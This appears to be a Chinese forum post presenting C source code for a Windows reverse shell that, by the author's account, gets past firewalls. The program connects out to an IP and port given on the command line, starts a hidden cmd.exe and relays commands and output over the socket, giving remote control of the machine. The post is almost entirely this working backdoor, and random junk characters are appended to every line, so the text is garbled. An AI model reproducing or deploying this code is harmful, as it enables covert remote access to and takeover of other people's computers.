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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xwzT#DXGJ  
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/* ============================== re,.@${H  
Rebound port in Windows NT a%J6f$A#  
By wind,2006/7 vU/ D7  
===============================*/ FX,$_:f6Y  
#include _8h8Wtif  
#include C@HD(..#  
c 8QnN:n  
#pragma comment(lib,"wsock32.lib") -Ubj6 t_K  
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void OutputShell(); MdhT!?  
SOCKET sClient; R/<=mZ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $)e:8jS=  
 td(M#a-  
void main(int argc,char **argv) VKLU0*2R  
{ VZA3IbK}  
WSADATA stWsaData; BSp$F WvT?  
int nRet; Q)Dwq?  
SOCKADDR_IN stSaiClient,stSaiServer; +~|AT+|iI  
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if(argc != 3) RyRqH:p)3  
{ cvAtwQ'  
printf("Useage:\n\rRebound DestIP DestPort\n"); }w!ps{*  
return; ":d*dl  
} jgvh[@uB?  
:?r*p>0$  
WSAStartup(MAKEWORD(2,2),&stWsaData); A1,4kqmE  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gf$HuCh|  
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stSaiClient.sin_family = AF_INET; It 2UfW  
stSaiClient.sin_port = htons(0); qZ G-Lh  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4&}\BU*  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u2`xC4>c  
{ NR/-m7#-  
printf("Bind Socket Failed!\n"); |Odu4 Q  
return; .Y/-8H-3v  
} m(3);)d  
4IGxI7~27#  
stSaiServer.sin_family = AF_INET; T=? bdIl  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); TJ2/?p\x  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); iiwpSGFl]  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) YbvX$/zGu  
{ 5|WOBOh>`&  
printf("Connect Error!"); ^L~ [+|  
return; o?R,0 -  
} Ry%YM,K3  
OutputShell(); l/V&s<  
} fJ :jk6@  
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void OutputShell() q lY\*{x4  
{ "<dN9l>  
char szBuff[1024]; A. Nz_!  
SECURITY_ATTRIBUTES stSecurityAttributes; *Pb.f  
OSVERSIONINFO stOsversionInfo; pB'x_z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5K(n3?1z)  
STARTUPINFO stStartupInfo; ;2W2MZ!TF  
char *szShell; *#ompm  
PROCESS_INFORMATION stProcessInformation; ucFw,sB1  
unsigned long lBytesRead; f sX;Nj]  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w:tGPort  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); dt.-C_MO  
stSecurityAttributes.lpSecurityDescriptor = 0; zlX! xqHj  
stSecurityAttributes.bInheritHandle = TRUE; p[P[#IeL  
7jZrU|:yu(  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); HU3Vv<lz  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bf^ly6ml  
uf0^E3H  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); V9$-twhu  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :A$wX$H01  
stStartupInfo.wShowWindow = SW_HIDE; >#i $Tw  
stStartupInfo.hStdInput = hReadPipe; xucIjPi]  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .%hQJ{vf-^  
wR1K8b".DC  
GetVersionEx(&stOsversionInfo); ?lG;,,jc,W  
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switch(stOsversionInfo.dwPlatformId) XkoWL  
{ ,yi2O]5e>!  
case 1: vcD'~)G(*  
szShell = "command.com"; g&aT!%QvX+  
break; InX{V|CW?  
default: o;'4c  
szShell = "cmd.exe"; fsb=8>}63}  
break; Pu/lpHm|  
} =[8d@d\  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0eaUorm)  
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send(sClient,szMsg,77,0); $:HLRl{2E  
while(1) W.GN0(uG  
{ <VgE39 [  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);  XDvq7ZD  
if(lBytesRead) ,9$>d}N  
{ n=SzF(S[M  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :6sGX p  
send(sClient,szBuff,lBytesRead,0); 'XME?H:q a  
} z7$}#)Z7  
else g BH?l/  
{ <e^6.!;W  
lBytesRead=recv(sClient,szBuff,1024,0); $u- lo|  
if(lBytesRead<=0) break; 1o)=GV1  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )muv;Rf`e5  
} ees^O{ 8  
} R=DPeUy;  
Cg?I'1]o6  
return; K;kLQ2)  
}
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